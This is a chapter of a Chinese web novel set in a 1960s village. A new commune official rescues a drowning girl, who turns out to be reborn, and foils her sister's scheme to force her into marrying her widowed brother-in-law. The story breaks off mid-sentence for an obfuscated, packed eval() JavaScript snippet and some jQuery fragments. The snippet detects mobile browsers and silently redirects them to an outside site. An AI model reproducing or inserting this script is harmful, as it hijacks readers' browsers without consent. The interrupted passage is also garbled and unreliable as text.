3. 【我在六零做村官】三

作品:《一篇事业流快穿文

    听见这道声音,刘福燕一抖,整个人差点带着车子摔下去。


    “主任,你听见了吗?”


    原女主不是在这个时候下乡的,自然没有这么一遭。


    荀约说:“咱们过去看看。”


    两人把车子停在一旁,循着声音传来的方向找过去。


    芦苇地里,一个十七八岁的姑娘正在水塘中挣扎,又黑又长的头发糊了一脸。


    “这、这,”刘福燕急得差点哭了,“主任,我、我不会游泳!”


    这话落下半天没有回应,她扭头一看,顿时大惊失色——这位新来的主任竟然跳水救人去了。


    “主任、贺主任!我给你们找杆子,你坚持住——”


    她哆哆嗦嗦地找到一根结实棍子,将水里的两人扯了上来。


    等贺主任两人上岸,她才发现水里竟然又多了一个没见过的男青年,似乎也是打算救人,但慢了一步。


    就在这时,被救上岸的姑娘咳了两声,仿佛恢复了些意识。


    ——方毓晓本以为自己就这样死了,为了继子继女做了一辈子贤妻良母,可掏心掏肺养大的儿子女儿却将她当成害死他们亲妈的凶手。


    曾为姐夫后为丈夫的那个男人,将她当成孩子的保姆、发泄情绪的受气包。


    父母享受着女婿带来的好处,却对她的处境视而不见,反倒处处向着女婿,将她贬低得一无所处。


    到最后,方毓晓的心中只剩下无尽的茫然与一丝愈燃愈烈的恨意。


    她一辈子都循规蹈矩,样样听从父母的安排,唯一一次反叛,就是拒绝嫁给二姐的丈夫。


    二姐生了两个女儿,第三胎的时候突然早产大出血,生下一个羸弱的男婴就撒手人寰。


    父母担心外孙们被后妈欺负,又不愿放过这个令他们脸上颇有光的优秀女婿,于是就劝她嫁给姐夫。


    大姐劝她,小弟也劝她,爸妈整日苦苦哀求,可她难得坚持自己的决定,怎样也不答应。


    家人都说她不孝,唯有大姐在这时转换了态度,要和她出去走走散散心。


    两人在河边散步时,大姐不小心滑了一跤,差点掉进水塘里,她原本想拉大姐一把,却没想到自己反而失足落了水。


    再之后,来大队看望孩子的二姐夫恰好经过,跳水救了她。


    两人从水里出来的时候,恰好被大姐喊来的社员们看见,那天之后,所有人都知道她和姐夫浑身湿透搂在一起。


    她被迫嫁给姐夫,十七岁就成为三个孩子的继母,所有人都皆大欢喜,可有谁问过她开不开心?


    曾几何时,她也是怀春少女,也是学校里成绩优秀的学生。


    她也曾期待着自己的未来,自己的另一半。


    但这一切都毁了!


    凶手是她父母、她姐夫、她丈夫、大姐、继子、继女……甚至还有她自己!


    如果有来生,她一定要为自己活一遍……


    荀约拧着自己湿漉漉的衣摆,耳边忽然响起系统的声音。


    【叮——】


    【检测到有重生者!】


    重生者?


    她动作停了一瞬。


    不会就是这个落水的姑娘吧?


    见被救上来的那个女同志还有呼吸,看样子也没有生命危险,刘福燕松了口气。


    “贺主任,咱赶快去公社吧,你这一身全都湿了,一会儿病了就不好了。”


    “不行,”她又推翻自己之前的话,“这路上风一吹,怎么也得生个小病,你带换的衣服了不?你要不进芦苇里面换身干净衣服?我给你看着人。”


    荀约也不打算就这样湿答答地去公社,于是拿了套新的衣服,钻进芦苇里。


    系统跟着刘福燕一起提心吊胆,【你放心,我帮你看着人……东边有人过来了,快快快——】


    她飞快地收起湿衣服,就在这时,芦苇丛外传来一阵杂乱的脚步声。


    刚才喊救命的女人带着一群社员跑了过来,见到躺在地上的年轻女孩时,全都吓了一跳。


    “这是咋了?”


    “谁家的孩子?”


    一个中年男人从人群中挤出来,呵斥道:“干啥呢干啥呢,吵吵嚷嚷的。”


    “大队长,刚才俺们听见有人喊救命才过来的。”


    “是啊是啊。”


    “什么救命不救命的,”中年男人才看清盐碱滩上躺着的小姑娘,“这是……方老三家的毓晓?”


    一旁的方春晓猛地扑上去,伤心道:“毓晓!毓晓你咋了?别吓姐姐啊!”


    “大姐,你别担心,毓晓没事,”方才同样下水救人的男青年道,“应该就是呛了水,昏过去了。”


    听见他的声音,方春晓抬起头,自认为和他交换了一个心照不宣的眼神。


    她随即露出惊讶,“小聪,你、是你救了毓晓?”


    汪聪连忙道:“大姐,这事……”


    这事没成。


    但他知道这话不能当着这么多人说出来,只好又憋了回去。


    方春晓却已经按照计划,将设计好的台词说了出来。


    “张叔,我和毓晓出来散散心,结果她不小心落水了,我这一下子都吓蒙了,多亏了她姐夫下水救人,要不然估计连命都没了。”


    “她姐夫?”


    张大队长转头看一旁同样湿漉漉的男人,看清他的面容后不禁一愣,“你是凤晓她对象?你咋在这儿?”


    汪聪长得一张英俊帅气的脸,身材高大,即便这时模样分外狼狈,也有不少年轻姑娘偷偷瞧他。


    他神色略显忐忑,“我……我来看凤晓她爸妈,走到这儿的时候正好听见有人在喊,我就跳下去救人了。”


    方春晓又重申一遍,“是啊,毓晓是汪聪救的,从水里抱上来的。”


    她这话一出,张大队长眉头一跳,忍不住像看傻子一样打量她。


    这方春晓结婚前也不是个傻的,咋这时候老把她二妹夫救她三妹的事大张旗鼓地往外说?


    虽说这个年代不像以前那样,女人要是和外男有了接触就得浸猪笼,但方毓晓一个还在上学的大姑娘,面皮薄。


    传出去,她一个未婚的姑娘和刚死了老婆的姐夫拉拉扯扯像什么样子?


    被方春晓挤到一边去的刘福燕登时不乐意了,她一把将两人推开,没好气道:“说啥呢说啥呢,我们贺主任忙活半天,怎么就成他救


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889640|192185||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的人了?你们咋还抢人功劳呢?要不要脸?”


    方春晓一愣,视线不自觉就往汪聪身上瞟。


    到底怎么回事?


    这计划都进行得好好的了,怎么还能在这节骨眼上出差错?


    汪聪给了她一个眼神,她心下猛地一沉。


    没成。


    但话都说出去了,就算是假的也得给她变成真的。


    不为了她爹妈,也得为她丈夫,她家那口子能不能做正式工,还指着汪聪呢。


    她眉一横,眼一竖,“你说是你救的就是你救的?我妹夫一看就是刚从水里出来,你这人身上干干爽爽的,哪像个下水救过人的样子?”


    这倒也是。


    围观的人也不禁窃窃私语。


    “就是啊,咋还能这样骗人呢?”


    “没救过人竟然还说自己救了,真不要脸。”


    刘福燕“呸”了一声,大喊:“你这人才不要脸!”


    张大队长认出她是公社的人,连忙道:“这是不是误会啊,刘干事。”


    一听说刘福燕是公社干事,周围的人更来劲了。


    “干事也不能抢人家功劳。”


    “就是。”


    “咱是老百姓,咱不怕官。”


    刘福燕一阵头大,只好道:“救人的不是我,是贺主任,她……”


    荀约从芦苇丛中走出来,“我在这。”


    张大队长不太自在地搓搓裤腰上的烟杆,“这位就是贺主任?”


    他倒是听说公社要来个大学生干部,只是没想到是个这么年轻的女娃娃。


    荀约笑笑,主动和他握了手。


    “这位女同志确实是我救的,”她扬了一下手里的湿衣服,不好意思道,“一会儿要去公社,穿湿衣服过去不太雅观,所以我才让小刘干事帮我看着换了身干净衣服。”


    张大队长恍然大悟,“原来是这样。”


    方春晓不愿就这样善罢甘休,小声道:“谁知道她说的是真是假?要是把衣服打湿了,不也能做假吗?”


    张大队长一瞪眼,“春晓!”


    这孩子傻了吗?


    救人的是汪聪这个作为方毓晓姐夫的成年男人,还是贺主任这个女同志,显然是后者更说得出去。


    她一个做姐姐的,怎么就不明白呢?


    还有方家的这个女婿,汪聪……


    既然不是他救的人,刚才为什么要任由方春晓说是他救的?


    他是城里的正式工,也不可能缺这一点两点的奖励,更何况他们大队奖励的是工分,对他来说更没用了。


    他摇摇头,不想牵扯这些。


    “赵婶,你和春晓一起把毓晓送去卫生室吧,看看这孩子有没有落下病。”


    一个身材矮壮的妇女答应道:“哎,好。”


    就在她扶起方毓晓的刹那,原本昏迷中的女孩终于悠悠转醒。


    她似乎做了一场噩梦,脸和嘴唇都是惨白的,眼神里还透着恐惧。


    方春晓也来搀她,“小妹,你……”


    方毓晓一把将她推开,她没提防跌倒在地,“啊!小妹,你干嘛——”


    回应她的是小妹冰冷的眼神。